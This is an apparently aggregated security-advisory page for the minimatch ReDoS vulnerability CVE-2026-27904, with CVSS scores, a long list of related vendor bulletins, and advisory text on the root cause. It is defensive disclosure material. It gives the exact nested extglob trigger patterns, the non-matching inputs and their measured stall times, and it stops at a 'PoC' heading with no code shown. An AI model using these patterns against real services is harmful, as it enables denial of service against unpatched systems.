GHSA-23c5-xmqv-rm74Published

minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions

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cve-program · CVE-2026-27904

Published

minimatch is a minimal matching utility for converting glob expressions into JavaScript RegExp objects. Prior to version 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.4, nested `*()` extglobs produce regexps with nested unbounded quantifiers (e.g. `(?:(?:a|b)*)*`), which exhibit catastrophic backtracking in V8. With a 12-byte pattern `*(*(*(a|b)))` and an 18-byte non-matching input, `minimatch()` stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default `minimatch()` API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects `+()` extglobs equally. Versions 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.4 fix the issue.

Source published: 26 Feb 2026 01:07:42 UTC
Source modified: 26 Feb 2026 19:21:39 UTC
Saved here: 23 Oct 2026 15:48:27 UTC
Source terms: CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

euvd · EUVD-2026-8802

Published

Additional publisher context

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Feb 26, 2026, 1:07:42 AM

dateUpdated: Feb 26, 2026, 7:21:39 PM

50 related source bulletins · separate from aliases

RHSA-2026:8339: Red Hat Security Advisory: nodejs:20 security update

CVE-2026-21710 · CVE-2026-26996 · CVE-2026-27135 · CVE-2026-27904

RHSA-2026:7302: Red Hat Security Advisory: nodejs:22 security update

CVE-2026-1525 · CVE-2026-1526 · CVE-2026-1528 · CVE-2026-2229 · CVE-2026-21710 · CVE-2026-25547 · CVE-2026-26996 · CVE-2026-27135 · CVE-2026-27904

RHSA-2026:9874: Red Hat Security Advisory: nodejs:20 security update

CVE-2026-21710 · CVE-2026-26996 · CVE-2026-27135 · CVE-2026-27904

RHSA-2026:6568: Red Hat Security Advisory: Red Hat Quay 3.15.4

CVE-2024-34156 · CVE-2024-45337 · CVE-2024-45338 · CVE-2025-61726 · CVE-2025-61728 · CVE-2025-61729 · CVE-2025-68121 · CVE-2025-68158 · CVE-2025-69873 · CVE-2026-4598 · CVE-2026-4599 · CVE-2026-4600 · CVE-2026-4601 · CVE-2026-4602 · CVE-2026-25639 · CVE-2026-25990 · CVE-2026-26007 · CVE-2026-26996 · CVE-2026-27628 · CVE-2026-27904 · CVE-2026-28498 · CVE-2026-28802 · CVE-2026-29063 · CVE-2026-29074 · CVE-2026-30922 · CVE-2026-32597

openSUSE-SU-2026:11146-1: libonnxruntime1-1.26.0-1.1 on GA media

CVE-2026-27904

WID-SEC-W-2026-1955: Atlassian Bamboo, Bitbucket, Confluence, Fisheye, Crucible, Jira und Jira Service Management: Mehrere Schwachstellen

CVE-2019-11272 · CVE-2021-3803 · CVE-2022-1471 · CVE-2022-22965 · CVE-2022-22978 · CVE-2022-31692 · CVE-2024-22257 · CVE-2025-22228 · CVE-2026-22732 · CVE-2026-24734 · CVE-2026-26996 · CVE-2026-27903 · CVE-2026-27904 · CVE-2026-29129 · CVE-2026-33870 · CVE-2026-33871 · CVE-2026-34077 · CVE-2026-34486 · CVE-2026-34487 · CVE-2026-40175 · CVE-2026-41044 · CVE-2026-41284 · CVE-2026-41293 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42038 · CVE-2026-42043 · CVE-2026-42198 · CVE-2026-42211 · CVE-2026-42264 · CVE-2026-42342 · CVE-2026-42498 · CVE-2026-42579 · CVE-2026-42581 · CVE-2026-42583 · CVE-2026-42584 · CVE-2026-42585 · CVE-2026-42587 · CVE-2026-43512 · CVE-2026-43513 · CVE-2026-43515 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44492 · CVE-2026-44495 · CVE-2026-44496 · CVE-2026-45149 · CVE-2026-45736

openSUSE-SU-2026:11178-1: openQA-5.1782995932.ffeb09be-1.1 on GA media

CVE-2026-26996 · CVE-2026-27904 · CVE-2026-6321

RHSA-2026:7983: Red Hat Security Advisory: nodejs:22 security update

CVE-2026-1525 · CVE-2026-1526 · CVE-2026-1528 · CVE-2026-2229 · CVE-2026-21710 · CVE-2026-25547 · CVE-2026-26996 · CVE-2026-27135 · CVE-2026-27904

RHSA-2026:6277: Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update

CVE-2025-61726 · CVE-2025-68121 · CVE-2025-69873 · CVE-2026-25639 · CVE-2026-25990 · CVE-2026-27904 · CVE-2026-29074

RHSA-2026:4942: Red Hat Security Advisory: Red Hat Quay 3.12.15

CVE-2025-61726 · CVE-2025-61728 · CVE-2025-61729 · CVE-2025-68121 · CVE-2026-24049 · CVE-2026-25639 · CVE-2026-25990 · CVE-2026-26996 · CVE-2026-27628 · CVE-2026-27904 · CVE-2026-28802

RHSA-2026:18054: Red Hat Security Advisory: Red Hat JBoss Enterprise Application Platform 8.1.6 security update

CVE-2025-14813 · CVE-2025-23368 · CVE-2025-67030 · CVE-2026-0636 · CVE-2026-3505 · CVE-2026-5588 · CVE-2026-5598 · CVE-2026-26996 · CVE-2026-27446 · CVE-2026-27727 · CVE-2026-27830 · CVE-2026-27904 · CVE-2026-33870 · CVE-2026-33871

RHSA-2026:7310: Red Hat Security Advisory: nodejs22 security update

CVE-2026-1525 · CVE-2026-1526 · CVE-2026-1528 · CVE-2026-2229 · CVE-2026-21710 · CVE-2026-25547 · CVE-2026-26996 · CVE-2026-27135 · CVE-2026-27904

RHSA-2026:5665: Red Hat Security Advisory: Red Hat Quay 3.10.19

CVE-2025-61726 · CVE-2025-61728 · CVE-2025-68121 · CVE-2026-25639 · CVE-2026-25990 · CVE-2026-26007 · CVE-2026-26996 · CVE-2026-27606 · CVE-2026-27628 · CVE-2026-27904 · CVE-2026-27962 · CVE-2026-28802

WID-SEC-W-2026-3046: IBM Concert: Mehrere Schwachstellen

CVE-2019-19921 · CVE-2021-23337 · CVE-2024-3651 · CVE-2024-39338 · CVE-2024-45590 · CVE-2025-13465 · CVE-2025-15284 · CVE-2025-15599 · CVE-2025-22874 · CVE-2025-47273 · CVE-2025-47907 · CVE-2025-52881 · CVE-2025-53643 · CVE-2025-55184 · CVE-2025-58056 · CVE-2025-58188 · CVE-2025-58189 · CVE-2025-61723 · CVE-2025-61730 · CVE-2025-64649 · CVE-2025-64756 · CVE-2025-67221 · CVE-2025-68121 · CVE-2025-68146 · CVE-2026-0540 · CVE-2026-2327 · CVE-2026-23490 · CVE-2026-23897 · CVE-2026-2391 · CVE-2026-23949 · CVE-2026-24486 · CVE-2026-25528 · CVE-2026-25547 · CVE-2026-25639 · CVE-2026-25990 · CVE-2026-26007 · CVE-2026-26019 · CVE-2026-26996 · CVE-2026-27142 · CVE-2026-27212 · CVE-2026-27699 · CVE-2026-27903 · CVE-2026-27904 · CVE-2026-28684 · CVE-2026-29063 · CVE-2026-29181 · CVE-2026-2950 · CVE-2026-31808 · CVE-2026-31900 · CVE-2026-32274 · CVE-2026-32288 · CVE-2026-32597 · CVE-2026-32630 · CVE-2026-32887 · CVE-2026-32952 · CVE-2026-33186 · CVE-2026-33532 · CVE-2026-33750 · CVE-2026-33814 · CVE-2026-33816 · CVE-2026-33916 · CVE-2026-34043 · CVE-2026-34073 · CVE-2026-34077 · CVE-2026-3520 · CVE-2026-35469 · CVE-2026-35515 · CVE-2026-3627 · CVE-2026-39823 · CVE-2026-39825 · CVE-2026-39826 · CVE-2026-39892 · CVE-2026-39984 · CVE-2026-40175 · CVE-2026-40179 · CVE-2026-40181 · CVE-2026-40190 · CVE-2026-40347 · CVE-2026-41066 · CVE-2026-41182 · CVE-2026-41238 · CVE-2026-41239 · CVE-2026-41240 · CVE-2026-41305 · CVE-2026-41324 · CVE-2026-41425 · CVE-2026-41481 · CVE-2026-41488 · CVE-2026-41602 · CVE-2026-41636 · CVE-2026-42151 · CVE-2026-42154 · CVE-2026-42198 · CVE-2026-42211 · CVE-2026-42338 · CVE-2026-42342 · CVE-2026-42561 · CVE-2026-42577 · CVE-2026-43870 · CVE-2026-44405 · CVE-2026-44431 · CVE-2026-44432 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44496 · CVE-2026-44728 · CVE-2026-4539 · CVE-2026-45409 · CVE-2026-45736 · CVE-2026-46625 · CVE-2026-4800 · CVE-2026-4923 · CVE-2026-4926 · CVE-2026-7246 · CVE-2026-8723

openSUSE-SU-2026:11447-1: cockpit-subscriptions-16.3-1.1 on GA media

CVE-2026-27904

RHSA-2026:40984: Red Hat Security Advisory: Red Hat OpenShift Data Foundation 4.20.15 security, enhancement & bug fix update

CVE-2025-12816 · CVE-2025-13465 · CVE-2025-15284 · CVE-2025-66031 · CVE-2025-68157 · CVE-2025-68458 · CVE-2025-69873 · CVE-2026-4800 · CVE-2026-22029 · CVE-2026-25128 · CVE-2026-25896 · CVE-2026-26278 · CVE-2026-26996 · CVE-2026-27904 · CVE-2026-27942 · CVE-2026-29063 · CVE-2026-33036 · CVE-2026-33186 · CVE-2026-33815 · CVE-2026-33816 · CVE-2026-34986 · CVE-2026-48779

RHSA-2026:18055: Red Hat Security Advisory: Red Hat JBoss Enterprise Application Platform 8.1.6 security update

RHSA-2026:7896: Red Hat Security Advisory: nodejs:20 security update

CVE-2026-21710 · CVE-2026-26996 · CVE-2026-27135 · CVE-2026-27904

openSUSE-SU-2026:21266-1: Security update for openQA, os-autoinst

CVE-2026-26996 · CVE-2026-27904 · CVE-2026-6321

openSUSE-SU-2026:11126-1: velociraptor-0.7.0.4.git185.a5708584-2.1 on GA media

CVE-2023-45288 · CVE-2024-45339 · CVE-2025-13465 · CVE-2025-22868 · CVE-2025-22869 · CVE-2025-22870 · CVE-2025-22872 · CVE-2025-24358 · CVE-2025-47911 · CVE-2025-58058 · CVE-2025-58181 · CVE-2025-58190 · CVE-2025-5889 · CVE-2025-64718 · CVE-2025-6545 · CVE-2025-6547 · CVE-2025-7783 · CVE-2026-1229 · CVE-2026-25128 · CVE-2026-25680 · CVE-2026-25681 · CVE-2026-26278 · CVE-2026-26996 · CVE-2026-27136 · CVE-2026-2739 · CVE-2026-27606 · CVE-2026-27904 · CVE-2026-33036 · CVE-2026-33186 · CVE-2026-33487 · CVE-2026-33814 · CVE-2026-34986 · CVE-2026-39821 · CVE-2026-39827 · CVE-2026-39828 · CVE-2026-39829 · CVE-2026-39830 · CVE-2026-39831 · CVE-2026-39832 · CVE-2026-39833 · CVE-2026-39834 · CVE-2026-39835 · CVE-2026-42039 · CVE-2026-42502 · CVE-2026-42506 · CVE-2026-42508 · CVE-2026-46595 · CVE-2026-46597 · CVE-2026-46598

RHSA-2026:6567: Red Hat Security Advisory: Red Hat Quay 3.16.3

CVE-2025-13465 · CVE-2025-61726 · CVE-2025-61728 · CVE-2025-68121 · CVE-2025-68158 · CVE-2025-69873 · CVE-2026-25639 · CVE-2026-25990 · CVE-2026-26007 · CVE-2026-26996 · CVE-2026-27628 · CVE-2026-27904 · CVE-2026-28498

RHSA-2026:6497: Red Hat Security Advisory: Red Hat Quay 3.16.3

RHSA-2026:41944: Red Hat Security Advisory: Red Hat OpenShift Data Foundation 4.19.20 security, enhancement & bug fix update

CVE-2025-12816 · CVE-2025-13465 · CVE-2025-15284 · CVE-2025-66031 · CVE-2025-68157 · CVE-2025-68458 · CVE-2025-69873 · CVE-2026-4800 · CVE-2026-25128 · CVE-2026-25896 · CVE-2026-26278 · CVE-2026-26996 · CVE-2026-27904 · CVE-2026-27942 · CVE-2026-29063 · CVE-2026-33036 · CVE-2026-33186 · CVE-2026-34986 · CVE-2026-48779

RHSA-2026:9711: Red Hat Security Advisory: nodejs:20 security update

CVE-2026-21710 · CVE-2026-26996 · CVE-2026-27135 · CVE-2026-27904

openSUSE-SU-2026:21399-1: Security update for cockpit, cockpit-machines, cockpit-packages, cockpit-podman, cockpit-repos, cockpit-subscriptions

CVE-2025-13465 · CVE-2026-25547 · CVE-2026-26996 · CVE-2026-27904 · CVE-2026-4631 · CVE-2026-4802

RHSA-2026:9742: Red Hat Security Advisory: Red Hat Developer Hub 1.8.6 release.

CVE-2025-62718 · CVE-2025-69534 · CVE-2025-69873 · CVE-2026-1525 · CVE-2026-1526 · CVE-2026-1528 · CVE-2026-2229 · CVE-2026-3118 · CVE-2026-4800 · CVE-2026-4926 · CVE-2026-25679 · CVE-2026-26996 · CVE-2026-27601 · CVE-2026-27904 · CVE-2026-29063 · CVE-2026-29074 · CVE-2026-29186 · CVE-2026-32141 · CVE-2026-33036 · CVE-2026-33228 · CVE-2026-33891 · CVE-2026-33894 · CVE-2026-33895 · CVE-2026-33896 · CVE-2026-39983 · CVE-2026-40175

RHSA-2026:7080: Red Hat Security Advisory: nodejs22 security update

CVE-2026-1525 · CVE-2026-1526 · CVE-2026-1528 · CVE-2026-2229 · CVE-2026-21710 · CVE-2026-25547 · CVE-2026-26996 · CVE-2026-27135 · CVE-2026-27904

WID-SEC-W-2026-1220: IBM App Connect Enterprise: Mehrere Schwachstellen

CVE-2026-26278 · CVE-2026-27601 · CVE-2026-27903 · CVE-2026-27904 · CVE-2026-29786 · CVE-2026-30827 · CVE-2026-31802 · CVE-2026-31988 · CVE-2026-32141 · CVE-2026-33036 · CVE-2026-33228

SUSE-SU-2026:2363-1: Security update for cockpit

CVE-2026-25547 · CVE-2026-27606 · CVE-2026-27904 · CVE-2026-4802

RHSA-2026:86618: Red Hat Security Advisory: New container image: rhceph-9.2

CVE-2023-46159 · CVE-2024-47866 · CVE-2024-48916 · CVE-2024-55565 · CVE-2025-12816 · CVE-2025-15599 · CVE-2025-26791 · CVE-2025-30156 · CVE-2025-50181 · CVE-2025-50182 · CVE-2025-58754 · CVE-2025-59343 · CVE-2025-62718 · CVE-2025-66030 · CVE-2025-66035 · CVE-2025-66412 · CVE-2025-69873 · CVE-2026-0540 · CVE-2026-21441 · CVE-2026-22610 · CVE-2026-25639 · CVE-2026-26996 · CVE-2026-27903 · CVE-2026-27904 · CVE-2026-27970 · CVE-2026-32141 · CVE-2026-33228 · CVE-2026-33671 · CVE-2026-33672 · CVE-2026-33891 · CVE-2026-33894 · CVE-2026-33895 · CVE-2026-33896 · CVE-2026-39865 · CVE-2026-40175 · CVE-2026-40895 · CVE-2026-41238 · CVE-2026-41239 · CVE-2026-41240 · CVE-2026-41305 · CVE-2026-42033 · CVE-2026-42034 · CVE-2026-42035 · CVE-2026-42036 · CVE-2026-42037 · CVE-2026-42038 · CVE-2026-42039 · CVE-2026-42040 · CVE-2026-42041 · CVE-2026-42042 · CVE-2026-42043 · CVE-2026-42044 · CVE-2026-50152 · CVE-2026-58224

RHSA-2026:7123: Red Hat Security Advisory: nodejs:22 security update

CVE-2026-1525 · CVE-2026-1526 · CVE-2026-1528 · CVE-2026-2229 · CVE-2026-21710 · CVE-2026-25547 · CVE-2026-26996 · CVE-2026-27135 · CVE-2026-27904

RHSA-2026:83619: Red Hat Security Advisory: Red Hat OpenShift Data Foundation 4.16.36 security, enhancement & bug fix update

CVE-2025-13465 · CVE-2025-15284 · CVE-2025-61726 · CVE-2025-66031 · CVE-2025-68157 · CVE-2025-68458 · CVE-2025-69873 · CVE-2026-4800 · CVE-2026-26996 · CVE-2026-27904 · CVE-2026-33186 · CVE-2026-33814 · CVE-2026-34986

RHSA-2026:13826: Red Hat Security Advisory: Red Hat Developer Hub 1.9.4 release.

CVE-2025-62718 · CVE-2025-69534 · CVE-2026-1525 · CVE-2026-1526 · CVE-2026-1528 · CVE-2026-2229 · CVE-2026-3118 · CVE-2026-4800 · CVE-2026-4926 · CVE-2026-27601 · CVE-2026-27904 · CVE-2026-29063 · CVE-2026-29074 · CVE-2026-29186 · CVE-2026-32141 · CVE-2026-32280 · CVE-2026-32282 · CVE-2026-33228 · CVE-2026-33891 · CVE-2026-33894 · CVE-2026-33895 · CVE-2026-33896 · CVE-2026-39983 · CVE-2026-40175 · CVE-2026-40895

RHSA-2026:24761: Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update

CVE-2025-62718 · CVE-2026-4926 · CVE-2026-7246 · CVE-2026-26996 · CVE-2026-27904 · CVE-2026-30922 · CVE-2026-32280 · CVE-2026-32282 · CVE-2026-32283 · CVE-2026-33891 · CVE-2026-33894 · CVE-2026-33895 · CVE-2026-33896 · CVE-2026-39363 · CVE-2026-39892 · CVE-2026-40192

RHSA-2026:18059: Red Hat Security Advisory: Red Hat JBoss Enterprise Application Platform 8.1.6 security update

RHSA-2026:65126: Red Hat Security Advisory: RHOAI 2.25.11 - Red Hat OpenShift AI

CVE-2025-61729 · CVE-2025-67030 · CVE-2026-4926 · CVE-2026-6734 · CVE-2026-9563 · CVE-2026-9697 · CVE-2026-12151 · CVE-2026-12243 · CVE-2026-13149 · CVE-2026-15075 · CVE-2026-15154 · CVE-2026-15378 · CVE-2026-15581 · CVE-2026-16745 · CVE-2026-18608 · CVE-2026-18611 · CVE-2026-18617 · CVE-2026-18620 · CVE-2026-18621 · CVE-2026-25681 · CVE-2026-26996 · CVE-2026-27136 · CVE-2026-27904 · CVE-2026-30922 · CVE-2026-32283 · CVE-2026-33231 · CVE-2026-33810 · CVE-2026-33811 · CVE-2026-33814 · CVE-2026-33870 · CVE-2026-33871 · CVE-2026-34445 · CVE-2026-35536 · CVE-2026-39821 · CVE-2026-39829 · CVE-2026-39835 · CVE-2026-40171 · CVE-2026-40192 · CVE-2026-40895 · CVE-2026-41178 · CVE-2026-42027 · CVE-2026-42215 · CVE-2026-42284 · CVE-2026-42338 · CVE-2026-42502 · CVE-2026-42508 · CVE-2026-42578 · CVE-2026-42579 · CVE-2026-42581 · CVE-2026-42583 · CVE-2026-42584 · CVE-2026-42587 · CVE-2026-44240 · CVE-2026-44244 · CVE-2026-44249 · CVE-2026-44431 · CVE-2026-44893 · CVE-2026-45112 · CVE-2026-45416 · CVE-2026-45623 · CVE-2026-45674 · CVE-2026-45736 · CVE-2026-45819 · CVE-2026-47691 · CVE-2026-48043 · CVE-2026-48059 · CVE-2026-48586 · CVE-2026-48779 · CVE-2026-49978 · CVE-2026-50010 · CVE-2026-50193 · CVE-2026-53550 · CVE-2026-54293 · CVE-2026-54512 · CVE-2026-55685 · CVE-2026-55831 · CVE-2026-55833 · CVE-2026-55851 · CVE-2026-56745 · CVE-2026-56746 · CVE-2026-56819 · CVE-2026-56853 · CVE-2026-56858 · CVE-2026-56859 · CVE-2026-56860 · CVE-2026-56862 · CVE-2026-59869 · CVE-2026-59873 · CVE-2026-59874 · CVE-2026-59885 · CVE-2026-59899 · CVE-2026-66036 · CVE-2026-66039 · CVE-2026-67313 · CVE-2026-67320 · CVE-2026-67322 · CVE-2026-67323 · CVE-2026-67324 · CVE-2026-67325 · CVE-2026-68494 · CVE-2026-69112 · CVE-2026-69152 · CVE-2026-69192 · CVE-2026-69243 · CVE-2026-69244 · CVE-2026-71281 · CVE-2026-73088 · CVE-2026-73089 · CVE-2026-73415 · CVE-2026-73417 · CVE-2026-73566 · CVE-2026-73622 · CVE-2026-73623 · CVE-2026-73624 · CVE-2026-73625 · CVE-2026-73627 · CVE-2026-73643

RHSA-2026:5168: Red Hat Security Advisory: Red Hat Quay 3.9.19

CVE-2025-61726 · CVE-2025-68121 · CVE-2025-69873 · CVE-2026-25639 · CVE-2026-25990 · CVE-2026-26007 · CVE-2026-26996 · CVE-2026-27628 · CVE-2026-27904 · CVE-2026-28802

RHSA-2026:26214: Red Hat Security Advisory: General availability of the satellite/iop-advisor-frontend-rhel9 container image

CVE-2025-69873 · CVE-2026-6321 · CVE-2026-26996 · CVE-2026-27904 · CVE-2026-41680 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42039 · CVE-2026-42041 · CVE-2026-42043 · CVE-2026-42044

SUSE-SU-2026:22837-1: Security update for cockpit, cockpit-machines, cockpit-packages, cockpit-podman, cockpit-repos, cockpit-subscriptions

CVE-2025-13465 · CVE-2026-25547 · CVE-2026-26996 · CVE-2026-27904 · CVE-2026-4631 · CVE-2026-4802

RHSA-2026:83622: Red Hat Security Advisory: Red Hat OpenShift Data Foundation 4.17.28 security, enhancement & bug fix update

CVE-2025-12816 · CVE-2025-13465 · CVE-2025-15284 · CVE-2025-58183 · CVE-2025-61726 · CVE-2025-61729 · CVE-2025-66031 · CVE-2025-68157 · CVE-2025-68458 · CVE-2025-69873 · CVE-2026-4800 · CVE-2026-6321 · CVE-2026-22029 · CVE-2026-26996 · CVE-2026-27904 · CVE-2026-29063 · CVE-2026-33186

WID-SEC-W-2026-2394: HCL BigFix (Service Management): Mehrere Schwachstellen ermöglichen Denial of Service

CVE-2026-2359 · CVE-2026-27904 · CVE-2026-3304

RHSA-2026:50300: Red Hat Security Advisory: Migration Toolkit for Applications

CVE-2026-4926 · CVE-2026-12143 · CVE-2026-13149 · CVE-2026-25681 · CVE-2026-26996 · CVE-2026-27136 · CVE-2026-27904 · CVE-2026-33811 · CVE-2026-39820 · CVE-2026-39821 · CVE-2026-40895 · CVE-2026-42039 · CVE-2026-42041 · CVE-2026-42044 · CVE-2026-42264 · CVE-2026-42342 · CVE-2026-42499 · CVE-2026-42504 · CVE-2026-44486 · CVE-2026-44487 · CVE-2026-44488 · CVE-2026-44492 · CVE-2026-44494 · CVE-2026-44495 · CVE-2026-44496 · CVE-2026-55603

SUSE-SU-2026:22770-1: Security update for cockpit, cockpit-machines, cockpit-packages, cockpit-podman, cockpit-repos, cockpit-subscriptions

CVE-2025-13465 · CVE-2026-25547 · CVE-2026-26996 · CVE-2026-27904 · CVE-2026-4631 · CVE-2026-4802

WID-SEC-W-2026-0752: IBM SPSS: Mehrere Schwachstellen

CVE-2025-59057 · CVE-2025-64718 · CVE-2025-68470 · CVE-2026-21884 · CVE-2026-22029 · CVE-2026-22030 · CVE-2026-26996 · CVE-2026-27903 · CVE-2026-27904

RHSA-2026:41941: Red Hat Security Advisory: Red Hat OpenShift Data Foundation 4.18.25 security, enhancement & bug fix update

CVE-2025-12816 · CVE-2025-13465 · CVE-2025-15284 · CVE-2025-47907 · CVE-2025-58183 · CVE-2025-61726 · CVE-2025-61729 · CVE-2025-66031 · CVE-2025-68157 · CVE-2025-68458 · CVE-2025-69873 · CVE-2026-4800 · CVE-2026-25896 · CVE-2026-26278 · CVE-2026-26996 · CVE-2026-27904 · CVE-2026-27942 · CVE-2026-29063 · CVE-2026-33036 · CVE-2026-33186 · CVE-2026-34986 · CVE-2026-48779

RHSA-2026:10184: Red Hat Security Advisory: RHOAI 2.25.5 - Red Hat OpenShift AI

CVE-2025-6242 · CVE-2025-11157 · CVE-2025-12103 · CVE-2025-14009 · CVE-2025-61726 · CVE-2025-61728 · CVE-2025-61729 · CVE-2025-66418 · CVE-2025-66471 · CVE-2025-68131 · CVE-2025-69223 · CVE-2025-69227 · CVE-2025-69228 · CVE-2025-69534 · CVE-2026-0846 · CVE-2026-0847 · CVE-2026-1002 · CVE-2026-2472 · CVE-2026-2492 · CVE-2026-21441 · CVE-2026-22773 · CVE-2026-22807 · CVE-2026-24049 · CVE-2026-24281 · CVE-2026-24308 · CVE-2026-24486 · CVE-2026-24779 · CVE-2026-25223 · CVE-2026-25639 · CVE-2026-25679 · CVE-2026-25990 · CVE-2026-26007 · CVE-2026-26996 · CVE-2026-27137 · CVE-2026-27628 · CVE-2026-27888 · CVE-2026-27904 · CVE-2026-27959 · CVE-2026-28229 · CVE-2026-28356 · CVE-2026-30922 · CVE-2026-31837 · CVE-2026-31892 · CVE-2026-31958 · CVE-2026-32274 · CVE-2026-32597 · CVE-2026-32640 · CVE-2026-33236 · CVE-2026-33870 · CVE-2026-33871

RHSA-2026:51349: Red Hat Security Advisory: General availability of the satellite/iop-host-inventory-frontend-rhel9 container image

CVE-2026-13149 · CVE-2026-13676 · CVE-2026-25128 · CVE-2026-25896 · CVE-2026-26278 · CVE-2026-26996 · CVE-2026-27904 · CVE-2026-27942 · CVE-2026-33036 · CVE-2026-44990

RHSA-2026:21772: Red Hat Security Advisory: Red Hat OpenShift Dev Spaces 3.28.0 Release.

CVE-2025-14813 · CVE-2025-68121 · CVE-2026-0636 · CVE-2026-1525 · CVE-2026-1526 · CVE-2026-1528 · CVE-2026-1605 · CVE-2026-2229 · CVE-2026-2327 · CVE-2026-5588 · CVE-2026-26996 · CVE-2026-27904 · CVE-2026-29074 · CVE-2026-30827 · CVE-2026-31802 · CVE-2026-32141 · CVE-2026-32280 · CVE-2026-32282 · CVE-2026-32305 · CVE-2026-33252 · CVE-2026-33810 · CVE-2026-34742 · CVE-2026-35051 · CVE-2026-39858 · CVE-2026-40477 · CVE-2026-40478 · CVE-2026-40611 · CVE-2026-40895 · CVE-2026-40912 · CVE-2026-40972 · CVE-2026-40973 · CVE-2026-40975 · CVE-2026-41240 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42039 · CVE-2026-42041 · CVE-2026-42043 · CVE-2026-42044

openSUSE-SU-2026:11446-1: cockpit-repos-4.9-1.1 on GA media

CVE-2026-27904

RHSA-2026:26225: Red Hat Security Advisory: Technical preview of the satellite/iop-vulnerability-frontend-rhel9 container image

CVE-2026-6322 · CVE-2026-9277 · CVE-2026-26996 · CVE-2026-27904 · CVE-2026-29063 · CVE-2026-41680 · CVE-2026-42033 · CVE-2026-42035 · CVE-2026-42039 · CVE-2026-42041 · CVE-2026-42043 · CVE-2026-42044

Source published: Feb 26, 2026, 1:07:42 AM (timezone not stated)
Source modified: Feb 26, 2026, 7:21:39 PM (timezone not stated)
Saved here: 15 Nov 2026 09:27:40 UTC
Source terms: ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 3.1 · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

nvd · CVE-2026-27904

Published

Additional publisher context

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Analyzed

Weakness classifications: CWE-1333

Original publisher date fields

published: 2026-02-26T02:16:21.760

lastModified: 2026-06-17T10:27:51.297

1 source CPE criteria · context only

cpe:2.3:a:minimatch_project:minimatch:*:*:*:*:*:node.js:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

Source published: 26 Feb 2026 02:16:21 UTC
Source modified: 17 Jun 2026 10:27:51 UTC
Saved here: 25 Oct 2026 06:17:33 UTC
Source terms: NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · [email protected] · Secondary · 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

osv · GHSA-23c5-xmqv-rm74

Published

### Summary Nested `*()` extglobs produce regexps with nested unbounded quantifiers (e.g. `(?:(?:a|b)*)*`), which exhibit catastrophic backtracking in V8. With a 12-byte pattern `*(*(*(a|b)))` and an 18-byte non-matching input, `minimatch()` stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default `minimatch()` API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects `+()` extglobs equally. --- ### Details The root cause is in `AST.toRegExpSource()` at [`src/ast.ts#L598`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/ast.ts#L598). For the `*` extglob type, the close token emitted is `)*` or `)?`, wrapping the recursive body in `(?:...)*`. When extglobs are nested, each level adds another `*` quantifier around the previous group: ```typescript : this.type === '*' && bodyDotAllowed ? `)?` : `)${this.type}` ``` This produces the following regexps: | Pattern | Generated regex | |----------------------|------------------------------------------| | `*(a\|b)` | `/^(?:a\|b)*$/` | | `*(*(a\|b))` | `/^(?:(?:a\|b)*)*$/` | | `*(*(*(a\|b)))` | `/^(?:(?:(?:a\|b)*)*)*$/` | | `*(*(*(*(a\|b))))` | `/^(?:(?:(?:(?:a\|b)*)*)*)*$/` | These are textbook nested-quantifier patterns. Against an input of repeated `a` characters followed by a non-matching character `z`, V8's backtracking engine explores an exponential number of paths before returning `false`. The generated regex is stored on `this.set` and evaluated inside `matchOne()` at [`src/index.ts#L1010`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L1010) via `p.test(f)`. It is reached through the standard `minimatch()` call with no configuration. Measured times via `minimatch()`: | Pattern | Input | Time | |----------------------|--------------------|------------| | `*(*(a\|b))` | `a` x30 + `z` | ~68,000ms | | `*(*(*(a\|b)))` | `a` x20 + `z` | ~124,000ms | | `*(*(*(*(a\|b))))` | `a` x25 + `z` | ~116,000ms | | `*(a\|a)` | `a` x25 + `z` | ~2,000ms | Depth inflection at fixed input `a` x16 + `z`: | Depth | Pattern | Time | |-------|----------------------|--------------| | 1 | `*(a\|b)` | 0ms | | 2 | `*(*(a\|b))` | 4ms | | 3 | `*(*(*(a\|b)))` | 270ms | | 4 | `*(*(*(*(a\|b))))` | 115,000ms | Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level. --- ### PoC 